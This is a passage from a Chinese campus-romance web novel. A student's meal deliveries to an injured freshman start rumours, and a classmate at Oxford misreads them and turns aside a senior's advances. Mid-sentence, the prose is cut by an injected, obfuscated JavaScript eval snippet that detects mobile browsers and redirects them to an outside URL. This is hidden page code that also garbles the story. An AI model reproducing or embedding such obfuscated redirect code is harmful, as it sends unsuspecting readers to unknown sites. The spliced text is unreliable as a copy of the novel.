从金工班级名单来看,男生占大多数,女生一个巴掌数得过来。这些学生要么是成绩好的,有信心学编程和模型搭建中难度高一些的内容;要么是对计算机比较感兴趣,但又没法或者不想转专业的。 祝岁祯野心勃勃地挑战了这个很难的专业,唯一让她有点忧伤的是,宿舍四个人只有她自己学金工,好多课不能一起上了。 金工班的另外几个女生,她一个都不熟,而且据舍友说,这其中有个之前造祝岁祯谣的女生,后来被同学戳破了,才知道那个女生喜欢的男生,给祝岁祯表过白。 不过金工班有俞惟叙,倒是让她心里安定了不少,虽然他要缺席一年。 大二的金工专业开始上难度,出现了统计学、高等数学进阶、C++、概率论、Python这种如雷贯耳的硬课。 祝岁祯觉得自己大二的奖学金实在是有点儿悬,所以按照俞惟叙的书单迅速借了书,自己笨鸟先飞抱着狂啃。 -.- 大一要开学了,和去年一样,新生提前两周来学校参加军训。祝岁祯为了学分,报名金院迎新志愿者。 爸妈知道她会见到何希簏一家,于是千叮咛万嘱咐,让她务必要在小何爸妈面前对他好一点,但不能提及退休返聘的事,不然会让人反感。 祝岁祯头疼地应下了,这真的是学弟吗?明明是来了个领导啊!她得对人好、小心伺候着,完全没有学姐的威严了…… 不过她还有别的新生们。 曾经拉着行李拖家带口的她,如今也是坐在遮阳篷里,成为被小学弟、小学妹恭恭敬敬喊学姐的前辈了。 这一届新生的辅导员是个姐姐,也是本院在读研究生,但本科不是本校的。帐篷里三个女生坐着聊聊天,时间过得飞快。 “祯祯姐!” 祝岁祯一转头,就看见何希簏灿烂的笑容。 “来了老弟!”祝岁祯站起来,对辅导员说:“这就是我刚给您说的,我邻居家的学弟。” 何希簏和他爸妈一听,知道祝岁祯帮忙在辅导员那里介绍过了,连忙对她道谢,然后和辅导员寒暄。 祝岁祯给他把资料一样一样整理好,按顺序排,告诉他先办哪个后办哪个,省得他又来问。 何希簏走了之后,祝岁祯旁边的同学感叹道:“你们省是不是平均颜值很高啊 ……这个学弟太帅了吧!笑起来超级阳光,而且好瘦,像纸片人,跟动漫里出来的一样。” 祝岁祯看了眼何希簏一家三口离去的背影,一边整理资料一边说:“你喜欢这个类型的啊?我帮你介绍?这小孩应该还没谈朋友呢。” 同学害羞地推了她一下:“哎哟,没有啦~” 祝岁祯笑了笑,看透,也要说透。 辅导员姐姐去趟卫生间,回来时给她们带了好东西。 “听说去年的迎新周边老早就被兑换完了,今年学院多做了些,我给你们留两套。” 祝岁祯和同学惊喜地道谢。 今年和去年的设计完全不一样了,而且比去年多了个迷你便利贴,祝岁祯和同学直呼学院今年发财了,居然还有这预算呢。 哼,她才不会承认自己只是嫉妒这届的新生。 今年新生来得挺早,下午不到三点就齐了。祝岁祯收工后还没进宿舍大门呢,突然收到何希簏的信息。 【祯祯姐,我崴脚了……】 配了个号啕大哭的表情包,那眼泪哗哗流,跟开闸泄洪似的。 祝岁祯看到这条消息的第一反应,居然是扑哧一声笑了出来。 啥呀这是,怎么搞的,开学报到第一天就残了啊…… 祝岁祯第二次进校医院。 尽管有些不愉快的记忆,但现在她顾不上难过,先去病房看了一眼何希簏。 他妈妈去给他整理宿舍了,他爸在等片子。 “叔叔好。”她打了招呼,何希簏让她坐下。 “你军训得请假吧?在宿舍养一养。” 何希簏表情颓丧:“医生说要看拍片的情况,轻度十天,重度一俩月……我好后悔啊……应该看看路的……” 这小弟开学太兴奋,跟个大金毛似的自来熟,积极主动帮舍友搬东西,结果在楼梯上嘎吧一下,崴了脚。 何希簏他爸闲着没事,跟祝岁祯聊天,他说他从姐姐,也就是祝岁祯家楼上邻居那里,知道祝岁祯爸妈跟他是同一个系统单位的员工,感叹有缘。 祝岁祯心想,真好,不用她再说什么了。 过了一会儿,导员姐姐也来了,片子出来之后,医生说他是中度扭伤,养得好的话最快两周。 导员拿着资料去帮他申请免训。 本来他爸妈说,既然去不了军训,不然就在学校附近住酒店好了,何妈妈会陪着他养病。 但何希簏死活不同意,说可以找舍友帮忙在食堂带饭拿外卖,完全能住宿舍,让爸妈不要管。 他爸妈只好把他放在宿舍,回家了。 晚上,何希簏找她瞎聊天,说自己荣获本届新生的“躺平之王”称号,被誉为反内卷第一人。 祝岁祯笑死,确实是字面意义上的“躺平”。 她原本以为何希簏是个自立自强、不要爸妈操心的好孩子,结果他解释说自己不跟爸妈住在一起,完全是因为要通宵玩游戏,爸妈在的话他就玩不了了。 祝岁祯:…… 高看你小子了。 29. 第二十九章 何希麓瘸腿住宿舍,倒是不麻烦他爸妈,但苦了祝岁祯。 本来没她什么事的,说好了何希簏舍友轮流帮他带饭。 但军训各连队没什么特别准时的吃饭时间,有时候金院比别队晚了十来分钟下训也是正常的。 这一晚,到食堂就得排大队,毕竟还没正式开学,食堂窗口开得少。 何希簏在宿舍饿得眼冒金星,然后就不停地给祝岁祯发消息哭诉喊饿,卖惨。 祝岁祯也是不明白了,一个躺床上的人,怎么就饿得这么快。 祝岁祯因为要跟军训的小朋友们错峰吃饭,每次她吃着,手机里何希麓哭着,搞得她实在于心不忍。 所以在何希簏苦苦哀求中,她扛下了帮他带饭的重担。 但怎么送到他手里就成了问题。 M大不管男女宿舍,除了开学、毕业需要搬行李的开放日,都是不允许异性进入的。 祝岁祯进不去、他下不来、宿管需要值班也不能帮忙,于是,何希麓想了个土办法。 幸好他宿舍在二楼,何希簏剪了一张床单,首尾打结自制一根结实的绳子,末端绑上挂钩,搞了个送饭神器。 然后他直接大手笔地给她转了一千块,一点儿也不亏了自己的嘴,说要吃得好才能恢复得快。什么小砂锅、盖浇饭,一盘三四十块的那种在食堂算高级料理了,他顿顿吃。 有时还让她带水果和零食饮料,就那小挂钩根本撑不住,得分两三次给他吊上去。祝岁祯每每站在他楼下,给他送东西的时候,都很想带着口罩遮遮脸。 被路人瞪大眼睛围观看热闹的滋味不好受,尤其是还能很清晰地听见别人的笑声。 军训快结束了,祝岁祯终于要解脱了,她心想可算不辱爸妈给她的使命了吧?但金院的传闻也出现了。 据说大二的祝岁祯学姐,开学时喜欢上了帅气的同乡学弟,在学弟养病期间,无微不至地天天送饭送爱心,简直是童话故事《长发公主》的性转搞笑版。 故事里美丽的长发公主从高塔的小窗户,放下金色长发,让帅气的白马王子顺着头发爬上去。 M大金院版则是:撕漫男帅气学弟,从男生宿舍二楼脏了吧唧的窗户,放下打了三个结的深灰色床单,让美丽的学姐把鸡腿饭、牛杂汤、怪味豆、冰镇可乐之类乱七八糟的东西放塑料袋里挂在挂钩上,学弟像黄金矿工一样收回绳子…… 从来都是学弟学妹对前辈们献殷勤,哪里有学姐天天顿顿给学弟送饭的? 学姐真是太爱了,何希麓好福气啊……这年头长得帅就是人生赢家。 而此时伦敦泰晤士河畔的金融城,作为欧洲金融中心,云集世界顶尖金融机构。 俞惟叙正在这里一家全球top级对冲基金公司做量化实习,和他共事的是来自全世界的超高智商精英,共同管理六、七百亿美元资产。 俞惟叙投入全部精力学习最复杂、最先进的交易策略、关注不同时区的股债期市场变动,每天忙到飞起,错过了这些送饭公主和床单王子的八卦逸闻。 和大忙人不同的是,M大高年级学生还没来学校就已经吃完瓜了,祝岁祯作为当事人居然是最后一个知道的,她顿觉天塌…… 但转念一想,有这么个绯闻男友倒也不全是坏事,起码帮她挡点烂桃花。 何希麓那边,直接在火上添了一把柴。这小子居然拍下了每天祝岁祯给他带的饭菜零食水果,拼了好几张长图发朋友圈,表达对学姐的感谢。 祝岁祯无语中觉得有点好笑,还稍微有那么一丁点儿的感动。 不过她现在最头疼的是学业,她低估了金工的难度,预计开学后要花很多时间在学习上。 打基础的阶段是最重要的,否则老师以后飞速推进的时候,她想一边学新的、一边回头查缺补漏,那可费劲了。 前些天公布的六级成绩,倒是缓解了她的焦虑。这次没有四级分数高,但也差不太多,649,让她更坚定了要把尽可能多的时间投入到学习中去。 因为学业和评奖学金等等各种事情,祝岁祯没功夫搭理何希麓的各种问题和闲聊。 不过何希麓是个社交小王子,刚开学就结识了一大堆同学和学长学姐,同时准备加入社团和学生会,就没空来找祝岁祯了。 何希麓恢复得挺快,崴脚三、四周就活蹦乱跳了,跟祝岁祯报喜之后说想让她带着他逛逛北京。 祝岁祯本想推辞,但刚好梦梦有计划去天坛公园拍vlog,和品牌方爸爸商量好了往里插一个刚接的运动水壶广告。 因为她想起来梦梦还蛮吃何希麓这类颜值,前几天要她帮忙介绍来着,正好趁着这次出去玩,可以让俩人交流交流。 品牌商寄了三个产品,梦梦在出发前给何希麓和祝岁祯都发了一个,让两人涮洗一下带着路上用。 梦梦下楼把水壶给何希麓,回来后一脸花痴地对祝岁祯念叨: “学弟好帅啊!帮鱼仔又把咱金院颜值均值给拉上去了!话说这次的品牌方血赚呀,我找了两个颜霸帮忙带货……” 祝岁祯一边拆包装一边给她出主意:“你先拍,拍好了让金主爸爸看看效果,告诉他们如果想要何希麓带货的镜头,得加钱,不然就把他剪了。” 梦梦哈哈大笑:“我去!祯祯你太黑了!好好好我就这么干!对了祯祯,你跟学弟说一下,让他务必记得拿水壶喝水帮我带货,到时候如果真的加了钱我就分给你。” 此举实在太仗义了!祝岁祯立刻给何希麓发消息,多犹豫一秒就是对钱的不尊重。 不过她没跟何希麓提加钱的事,好歹帮他送了那么多天饭呢!祝岁祯心安理得、堂而皇之地把可能会到手的小钱钱给吞了…… 何希麓不知道里面这些弯弯绕,三人在宿舍楼下集合出发时,他暗自开心地发现祯祯姐和自己用同款的水壶。 梦梦这次去天坛,做了充足的准备,她的重点不在天坛的美景,这些没什么意思,多少游客都见过了。 她的目标是天坛大爷。 最近两年,天坛大爷作为天坛公园一大特产,在社交媒体上相当出名。三人打车赶到现场,连连感叹名不虚传。 健身的大爷大妈们,跟玩杂技似的,那单杠练得花里胡哨,力度和柔韧性极强,原地给她们表演360度空中旋转倒立。 小区里常见的各种健身器材,都被他们创造出了新玩法。 祝岁祯镜头里的梦梦,感叹大爷大妈们应该组队去央视春晚表演,每人年纪看起来比她们仨加一起还大,但身体素质比她们仨加起来还能打。 这不算什么,过了一会儿,有几个外国游客见状加入比拼。一位大爷直接秀出绝活:头顶着一个篮球的同时还在用器材健身。 大爷在外国友人一声声“哦买噶”“吉瑟斯”“可瑞贼”“俺不理玩宝”的赞叹声中逐渐迷失自我…… 有个大妈特别喜欢何希麓,热情地拉着他介绍自家女儿,说她闺女现在在法国的艺术学院留学,家里有北京七套房子,不介意何希麓是外地人,她家闺女就喜欢瘦瘦高高的小帅哥。 何希麓没见过这场面,求救似的看向录视频的祝岁祯,但祝岁祯笑得云台稳定器都快拿不稳了。 他看她幸灾乐祸见死不救,只能自谋生路婉拒大妈的好意。 离开这里时,梦梦打趣他:“你真是傻啊你,你知道北京七套房子的含金量吗?天天躺在家里收租都够小两口美美活一辈子了。” 何希麓不着痕迹地看了眼祝岁祯,她正低着头检查视频。他不知道怎么接学姐的话,只是倔强地摇摇头。 -.- 九月底,俞惟叙实习结束,开着他去年从毕业的学长那里打折收来的二手迈凯轮超跑,进入M40公路返回牛津。 回到住处时,房子已经有保洁收拾得干干净净。他躺在床上刷手机,看到了几个小时前,周梦津账号的更新提醒。 他上次从祝岁祯那里关注了周梦津的vlog账号,但一直没时间看。这次周梦津更新的一期视频,封面贴了一张她和祝岁祯的照片。 哦?祝岁祯终于出镜,和她舍友一起出去玩了?那是不是心情好些了呢?哎等等……旁边这个男生是谁?没见过。 于是他迅速点进了这个名为《世界第九大奇迹——天坛健身大爷》的视频中,拖动进度条,寻找祝岁祯。 前面是周梦津上课、吃饭、自习、健身的记录,俞惟叙也不太懂,这么无聊的东西为什么这么多人爱看,弹幕一条接着一条。 不过周梦津确实又瘦了许多,比上次冬天见她的时候漂亮了不少。 他仔细地在大量周梦津的镜头里寻找祝岁祯的身影,找到了就暂停仔细看。 嗯,没胖没瘦,挺好。 这件衣服有点眼熟,似乎她大一开学的时候穿过?也是挺节约了。 俞惟叙想起同为女性的他家关总,衣服基本就只穿一个季度,提前一两个季度就采买完了,有的要飞国外定制寄过来,一年仅仅衣服钱就得花个三、四百万的…… 他快进往前看,突然,视频里冒出来一个男生,就是封面那个。 周梦津对着镜头介绍,说这是M大金融大类今年的新生,在金院里排名第二帅,第一帅暂时不在,去牛津交换了。 俞惟叙突然被cue,有点猝不及防。 弹幕里清一色的惊讶:“这么帅了居然还只是第二?”“第一什么时候出镜?”“求求了贴张照片吧,想看帅哥”“第一叫什么名字?我今年也考到北京了!” 周梦津说根据这个男生的本名,给他起了个英文名:Lucy,让大家发弹幕保证不会嘲笑学弟。 Lucy竟然很开心地笑着接受了,说自己从现在开始是学妹…… 俞惟叙眉头一皱。 啧。 这个笑确实有点帅,阳光清爽大男孩那一挂。 他有些不乐意了,周梦津你带帅哥就带帅哥吧,干什么喊祝岁祯一起? 祝岁祯她得学习。 弹幕笑疯了,说好好的一个帅哥,怎么起这么个英文名,学姐别把小学弟玩坏了。 到了天坛,俞惟叙也是头一次见到这些逆天的老大爷们,他突然想起,自己好多年没去南城了。 “南城”“北城”的叫法,是俞惟叙姥爷、妈妈那代人独有的。 那时北京城还有崇文区、宣武区,人称“南城”。而“北城”,是原先的老东城、老西城。 2010年的时候,崇文和东城合并为现在的东城区,宣武、西城合并为现在的西城区,“南城”“北城”便留在了历史的书卷中。 现在一些新北京人,喜欢管丰台、大兴之类的叫“南城”,管海淀、昌平叫“北城”。俞惟叙也是在外面上了多年学,回来才突然听到这种说法,还不太习惯。 俞惟叙注意力回到视频上面,大妈已经在拉着学弟介绍对象了,Lucy求助的目光投向镜头,弹幕呼啦啦一片全都是“哈哈哈哈哈”。 俞惟叙意识到什么,迅速把视频往回拉了一点。 因为镜头里出现了学弟和周梦津,那么在录视频、学弟看向的人,必然是祝岁祯。 你小子看祝岁祯干什么!自己的事自己解决!不许看她! 视频后面,镜头在周梦津手里转到自拍模式时,三个人走得有些累了。 俞惟叙看到周梦津身后,那学弟伸出手把祝岁祯的背包拿下来,帮她背了;祝岁祯居然没拒绝,顺手卸下来就丢给他了。 即便只有这一处拍到两人直接的互动,俞惟叙也能看出他们俩之间的熟悉和默契。 他从来没见过祝岁祯和别的男生有这种举动。俞惟叙的舍友们,在学校里也算是跟她很熟的异性了,祝岁祯极少主动和他们说话,甚至都不怎么并排走。 就算是俞惟叙,祝岁祯也多少有点疏远。 他瞬间心梗。 暂停视频点开评论区,置顶评论是周梦津挂上去的广告语,一个什么运动水壶,他直接忽略。 第二条评论问Lucy是否单身。 博主回复:【否】 第三条评论:【美女舍友呢?我都问好多次了!舍友单身吗?为什么不回复啊!急!!在线等!!!我将屏住呼吸,直到博主回复为止~~】 博主回复:【别想了各位,否】 俞惟叙如遭雷击。 他不敢相信,祝岁祯在这短短的一个月内,竟然谈了?! 迅速去她的朋友圈查看,但状态是三个月可见,朋友圈干干净净。 没发过官宣。 他又看了下她头像和朋友圈背景,还是原来的。 俞惟叙犹豫着要不要去宿舍群问问,但又怕舍友们发现他在意。 回忆了一下宿舍群名,他试探着在搜索框打出“最强”二字。 果然,宿舍群还是那个羞耻的名字:【宇宙中心最强男人】 他点进群,发现已经积累了二百来条信息,追溯回去,迅速地往下刷,直到八月底,突然出现了“祝岁祯”三个字。 俞惟叙开始逐条阅读。 鸡哥:【卧槽,你们知道吗?我刚吃了个祝岁祯的瓜!】 大黄:【什么瓜?我没听小羊说过】 鸡哥:【那你有福了,可以去跟小羊讲讲哈哈哈】 箫剑:【逗呢,你是不是傻,小羊和大黄都不知道的瓜那还保真吗?】 鸡哥:【保真,可太保真了!照片都有。大黄你不行啊,跟小羊吵架了?】 大黄:【去你的,你才不行。那必不可能,先把照片发来看看】 鸡哥发了一张图,但已经过期,俞惟叙点不开了。 从模糊的小图可以看出大概是男生宿舍楼,楼下有个女生的侧影,举着胳膊拎着东西不知道在忙什么。二楼阳台窗户探出一个人。 俞惟叙一头雾水地接着看群聊。 箫剑:【我靠,这是什么行为艺术吗?】 大黄:【乐死我了,祝岁祯整啥玩意儿啊】 箫剑:【快讲讲@鸡哥】 鸡哥:【这是送饭公主和床单王子的感人故事】 大黄:【直接点题了啊!我秒懂】 箫剑:【祝岁祯给那男的送饭?他谁啊?】 鸡哥:【今年咱院的新生,叫何希簏,据说新生来报到的时候,祝岁祯是志愿者,然后祝岁祯看上他了,在他军训崴脚的时候一日三餐地送饭】 箫剑:【虽然这货确实长得还可,但我女神滤镜碎一地……】 鸡哥:【绝了,冰山美人突然就变痴情普女了……劳资要是再帅点,就轮不到这货了】 大黄:【这么糊能看个毛啊?有没有清楚的照片】 鸡哥:【暂无,他主要是没军训,我再去问问】 大黄:【能让祝岁祯看上……这小子不会比鱼仔还帅吧,那没天理了!算了不聊了,我要去给小羊说】 鸡哥:【去吧去吧,顺便让她挖点消息来。要不是我刚好认识今年做迎新志愿者的人,我也不知道】 俞惟叙心如死灰,往下扒拉聊天记录,没有关于这个话题的讨论了,聊的都是开学的事情。 Lucy,何希簏,果然。 俞惟叙放下手机,眼神空洞地看着天花板。 倒也正常,人在脆弱的时候,容易依赖别人。她经历了蔡斤的事情,遇到这么个帅气的暖男小学弟,会喜欢上也正常。 他隔着山海远在天边,哪里比得上身边的人知冷知热。 都一年了,祝岁祯也该从前男友的离世中走出来了。 俞惟叙周围长得好的、喜欢谈恋爱的,空窗期都不超过两个月。甚至劈腿同时谈的也不少,搞得乌烟瘴气鸡飞狗跳。 他珍惜时间、为了兴趣全身心投入在学习和科研上,实在没功夫去谈恋爱,更何况关理之还让他跟林期尔多接触…… 罢了,或许终究是有缘无分,祝她幸福吧。 -.- 祝岁祯从宿舍公共洗漱间回来,把电脑放在上铺后爬上床,想再巩固一下C语言。 梦梦扔掉敷完的面膜,告诉祝岁祯已经在评论里回复粉丝的问题了,按她的要求,说她不是单身。 祝岁祯满意地比了个OK的手势。 梦梦笑着说:“巧了,下午我问何希簏,他也让回复不是单身。我问他女朋友是谁,他神神秘秘地说不告诉我!” 祝岁祯把扎头发的皮筋解开,想了想:“没有吧,没听他说过。他什么时候谈了?” 梦梦耸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313103|198895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了耸肩:“不知道啊,他说他有喜欢的人。他没跟你说过吗?” 祝岁祯摇头:“没有,而且报到那天,我不是和3班那个陈颖蓝一起迎新么,她挺喜欢何希簏的,让我帮忙牵线……” 宿舍三人都一脸吃瓜的表情:“喔~陈颖蓝看上他了呀~” 祝岁祯比了个“不要往外说”的手势。 “但那时他只是拒绝了,没说自己有女朋友啊?要有女朋友还能让我送饭?” 小羊说:“或许刚谈?他挺帅的,肯定好多女生追吧?” 祝岁祯觉得有道理:“他确实挺能社交的,这几天脚好了就跑出去混各种小圈子,一有空就跟人去聚餐吃饭,还总问我这个人认不认识、那个人认不认识……我当然都不认识了我就跟你们熟。” 远文突然想起什么:“呀!那你!等下!陈颖蓝让你帮忙牵线,结果你转头就跟学弟传绯闻了啊?陈颖蓝知道这是谣言吗?” 祝岁祯呆了呆:“应该……知道……吧?” 梦梦替她着急:“知道个屁啊!我之前问你要不要澄清,你说正好拿他挡烂桃花……” 小羊转头看着梦梦:“但是大黄问我的时候我跟他解释了,他知道,就等于他们宿舍知道,应该会传出去的吧?” 远文想了想:“既然学弟是个社交达人,肯定很多人知道他有喜欢的人,那他就跟祯祯没关系了。” 祝岁祯:…… “所以我现在是个什么形象?” 她喃喃自语地分析:“同学让我帮忙牵线,但我却看上了帅哥,不仅不帮忙还自己天天当送饭舔狗去追学弟,忙活好几天没被看上,因为人家心有所属……” 三个舍友听了,都无奈地苦笑扶额。 祝岁祯也自嘲地笑了笑:“行啊,挺好,就这样吧,只要能少来点人烦我就行……” 人类的世界太复杂,现在她看C语言,都觉得单纯可爱了呢。 周一,实习工资兼精神损失费两万元到账,她的卡里从来没出现过五位数。 那一瞬间,所有的不开心都消失了,她觉得自己这辈子一定会是个财迷,搞钱狂魔的那种。 俞惟叙那边也收到了汇报。他现在一想起祝岁祯,心里就又酸又涩,所以也没多说什么,按部就班地准备论文、以及下个月开学的各种事项。 一周后,经管学院大三的白声清,联系上了俞惟叙。 俞惟叙对这学姐的印象不太好,在军训时通过班里一个女生加上他,简单打了个招呼之后,对方就开始撩他。 他简单聊几句就没再搭理了。 但今年白声清说想去伦敦政经交换,很认真地跟他请教些经验。俞惟叙因着同校的关系、又是聊正经事,不太好拒绝。 于是他找了个伦敦政经本科、现在牛津读研的学姐,香港人,让白声清去联系学姐。 现在,白声清说她已经在牛津了,正跟学姐聊天,想让他也来。 这个学姐之前帮他联系过一个港科大的教授,所以俞惟叙不好不去。当他从图书馆里出来,按照白声清给的地址去了之后,发现只有她一个人。 白声清说学姐临时有事走了,想让他帮忙带着逛逛牛津。 俞惟叙本想推辞,但白声清可怜巴巴地撒娇,说她大老远从伦敦来牛津,本来不想麻烦他的,但现在确实没人陪她逛,让俞惟叙行行好。 他虽然心里存疑,但碍着两人校友的关系、以及那位学姐的情面,只好暂且陪她逛。 晃悠了约莫一个小时,俞惟叙又是当导游、又是帮拍照的,耐心快告罄了,白声清也看出来了。 “我之前做攻略,查到一家叫‘The Bear Inn’的小酒馆,据说是牛津最古老的pub,很有特色,你去过吗?带我看看吧?正好歇歇喝一杯,我请客。” 俞惟叙环顾周围,发现这里离酒吧正好不远,想着送佛送到西,就带着她去了。 “哇!跟网上的图片一模一样啊!这个天花板!” 两人在吧台各点了杯啤酒,要了小食,白声清坐下后,对着屋子咔咔一通拍照。 这家小酒馆的天花板上、墙上,用大相框陈列着密密麻麻的领带,旁边还贴着纸片,上书人名落款,简直是领带博物馆。 据说是许多年前,没带钱的客人需要剪下自己一段领带来抵酒钱,才有了这样的奇观。 等待酒水的时候,白声清把外套脱掉,放到一边。 俞惟叙刚抬头,就看见她黑色的低胸吊带上两抹雪白,他瞬间别过眼。 一声揶揄的轻笑响起:“装什么纯情啊。来,跟学姐分享分享,在英国谈几个了?” 俞惟叙扯了扯嘴角:“没谈。我爱学习,学习使我快乐。” “去你的,男人嘴里没一句实话。”白声清笑骂一句,顺势轻轻捶了他胳膊一下。 “哟,你去健身房吗?练过的。”白声清捏捏他胳膊。 “哎哎哎,别,痒。”俞惟叙动了动肩膀,离开她的魔爪。 点的餐上来了,拍完照,白声清确实渴了,喝了小半杯啤酒,问俞惟叙:“你现在真没谈?上次谈是什么时候?” 俞惟叙不想回答,反问道:“你呢?” 白声清托腮,嘟囔着说:“小半年了吧,本来去年12月的时候,就跟我男朋友分手了,但是春节回家,我爸妈逼着我非让我俩和好。” 俞惟叙一听,她也是家里爸妈干涉恋情婚姻的?本来有些烦她,现在却生出些同病相怜的感觉来。 白声清继续讲:“我就勉强又跟他处了俩月,但实在是不喜欢他。我喜欢长得帅的。”说完,她看了眼俞惟叙。 俞惟叙没接她眼神,低着头喝酒。 “然后我就跟他分了,我说我要去交换半年,没必要再谈了,大家都放过彼此,各找各的吧。” 白声清想起什么,笑着对他说:“其实啊,我怀疑我爸妈春节的时候让我复合,就是他在背后搞的鬼。” 俞惟叙有点感兴趣了:“怎么说?” 白声清神神秘秘道:“女人的第六感~男人以为自己藏得好,其实在女人面前,白纸一样。” 俞惟叙不置可否地轻笑一声。 “你不信?好,我给你分析分析。我这个前男友啊,他去年喜欢一个学妹,根本藏不住,我早就发现了。” 她得意地说:“我告诉你,我和那些女生不一样,根本不会跟他纠缠,巴不得赶紧分呢。但是吧,我们两家有点像是,商业联姻吧,我自己没办法做主。” 俞惟叙点点头。 白声清见他附和,继续开话匣子:“然后我就觉得,最好是让他提分手,对吧?所以我就一直在他面前夸那个女生好,撺掇他分手,我还说我知道那个女生暗恋他,只是因为他有对象了不敢表白,只要你恢复单身去追,肯定能成!” 俞惟叙有些怀疑地说:“他一点儿没察觉?” 白声清瞥了他一眼:“我肯定不能这么直白地说啊!模模糊糊地渗透进日常的话里面。” 俞惟叙“嗯”了一声,喝了口酒。 她也灌了几口,然后笑着说:“后来还真让我给办成了你知道吗?他提分手的时候我都快高兴死了,但还得演戏。” 俞惟叙问:“然后呢?你说复合是他的主意?” “对啊!因为后来没听说俩人有动静,大概是没追上吧。所以我说呢,他肯定是又搞了什么鬼,想让我复合。开玩笑,姐是回头草吗让他吃了又吃?” 俞惟叙没说什么,白声清继续喝酒,越喝越嗨。 “哦,说起来,他喜欢的人,你应该认识,跟你一个院的,叫什么来着,那个名字不太好记。” 俞惟叙有种不好的预感。 “跟你一届,长得还挺好看的,听说是你们院花呢。” “……祝岁祯?” “啊!对对,就是她。”白声清拍着他胳膊说。 俞惟叙:…… 他心情复杂,以至于忘了躲开她这讨厌的手。 她又哈哈大笑起来:“我之前还找过那个女生,我说我男朋友要是跟你表白,你能不能收了他。他长得不够帅我不喜欢哈哈哈哈……” 俞惟叙彻底无语了,祝岁祯这是什么体质?净招些奇葩。 30. 第三十章 俞惟叙杯子里的啤酒才下去三分之一不到,白声清那杯已经空了,她又点了杯不同口味的。 “别光说我啊,你呢?听说你家也是做实业的,你爸妈没给你安排对象啊?” 俞惟叙咽下薯条,看了眼她。 白声清千娇百媚地斜坐着看他,从眼神到头发丝都在铆足了劲挑逗他。 俞惟叙想了想,反正祝岁祯都有男朋友了,他或许该认命: “也不算安排吧,只是介绍过来一个,说先认识认识。” 白声清有些失落,但这可是俞惟叙啊,太合理了。 于是她按下难过,饶有兴趣地问:“长什么样啊?大美女吧!想看看照片。” “没什么好看的。” “切!肯定是骗我的~她也是北京人吗?” “不是,上海人,在美国留学。” 他说着,拿出手机,从林期尔朋友圈找图,从一堆奢靡暴露的照片里,尽量挑能给人看的。 照片中一个穿着抹胸热裤的女孩,坐在宽敞的真皮沙发里,旁边放着美酒、名表、爱马仕房子包。 “这是……”白声清仔细看了看,“私人飞机?” “嗯,她爸给她买了个湾流。她最近带着朋友们到处飞着玩。” “是纯正中国人吗?看着好像ABC啊。” “中国国籍,不过基本上算是在国外长大,打扮偏美式风格。” 白声清羡慕道:“哇哦,好有钱啊。” 俞惟叙收了手机点点头:“比我家有钱。” “比你家还有钱?!那我懂了!你爸妈是不是想利用你的美貌……” “咳咳咳……” “哈哈哈哈哈……” 两人又聊了些学业相关,吃喝完俞惟叙把钱付了,说他来请客。 出了门,俞惟叙问她要回伦敦的话趁早,晚了不安全。不想回那就住酒店。 可白声清却身子一软,醉倒在他身上,一副走不动了的样子。 俞惟叙扶住她:“站好。我给你找酒店。” “不要……去你家吧。”她仰头看着俞惟叙撒娇。 他拿出手机,面无表情道:“不行,我怕你吐我家里,大半夜的你来收拾吗?” 白声清:…… 俞惟叙知道她装的,就两杯啤酒而已,不至于就走不动路了。 “我不要住酒店~没人陪我~求你了让我住你那里吧,我睡沙发也行~” 他一手扶着她,一手划屏幕,找看有没有认识的女生。 “我也没空陪你,要么住酒店、要么我找女生收留你,二选一。” “怎么了嘛?你晚上有事?” “嗯,有个模型在训练,今天的工作还没完成。” 白声清笑了出来:“不会吧?交换而已这么认真?不是要回去陪哪个女生吧?” 俞惟叙皱了皱眉:“我真的有课题在做……” 突然,他看见熟人了,那个意大利同学。 连忙把人喊过来,见对方疑惑地看着白声清,俞惟叙简单解释了下状况,然后问他有没有女生能让白声清借住一晚。 意大利同学立刻点头,说自己就是和两个女生在外面合租了宿舍,让白声清直接去他那里。 白声清本来觉得没戏了,俞惟叙怎么这么难撩!她都快怀疑自己的魅力了,但现在,她有了新的目标。 这个意大利人,好帅!蓝色的眼珠太漂亮了,个子比俞惟叙还高些,不愧是欧洲人。 俞惟叙看向她:“你住他们宿舍,行吗?” 白声清点点头。 意大利同学非常热情地接过白声清,屈膝直接把她背了起来。 俞惟叙多少还是有些不放心,和同学说去他宿舍看一眼。从黄昏走到天刚刚擦黑,他们回到宿舍。 确实是三人合租的。一个女生是黑皮肤的法国人,带了个黑框眼镜,他同学形容这个女生是个“nerd”,被那个女生轻飘飘白了一眼,看起来懒得理他的样子。 另一个女生是西班牙人,一身小麦色皮肤阳光健康,跟俞惟叙打招呼,说认得他。 在同学宿舍里坐了会儿,跟几个人聊聊天互相认识下。两个女生说可以挤一挤,给白声清腾出一个房间住,俞惟叙放心地回去了。 第二天中午,白声清给他发消息说她要回伦敦了,下次再来玩。 晚上意大利同学找他吃饭,席间俞惟叙得知一个惊悚的消息。 白声清和他这个同学睡了…… 俞惟叙顿时生气,指责同学怎么能对一个醉酒的女生下手,亏他还这么信任…… 同学立刻举手投降,说昨晚是白声清主动的。本来让她自己睡一间,但她洗了澡之后敲了男生的门。 俞惟叙半信半疑地坐下。 同学还说下午是他送她去车站的,两人吻别了呢,约定过几天她来,再续火热的夜晚……俞惟叙如果不信的话自己去问好了。 俞惟叙只好道歉。 同学也没生气,笑着打趣,说俞惟叙简直是传统老派中国人和英国人的结合加强版,应该去读神学专业当神父,为了上帝守身如玉。 -.- 过了几天,小羊在宿舍里聊起许久没消息的俞惟叙,说从大三那边传来了个第N手的八卦: 俞惟叙在国外谈了个女朋友。 超级有钱的白富美千金,自己有架私人飞机的那种,现在在美国留学。 小羊讲得绘声绘色,仿佛亲眼看见了一样,说俞惟叙节假日不回国的时候都在陪女朋友,两人坐着私人飞机环游世界到处撒钱,简直是神仙眷侣,凡人只能仰望了。 祝岁祯不知道为什么,听到这个八卦的时候有一瞬间的惘然。 或许是错觉。 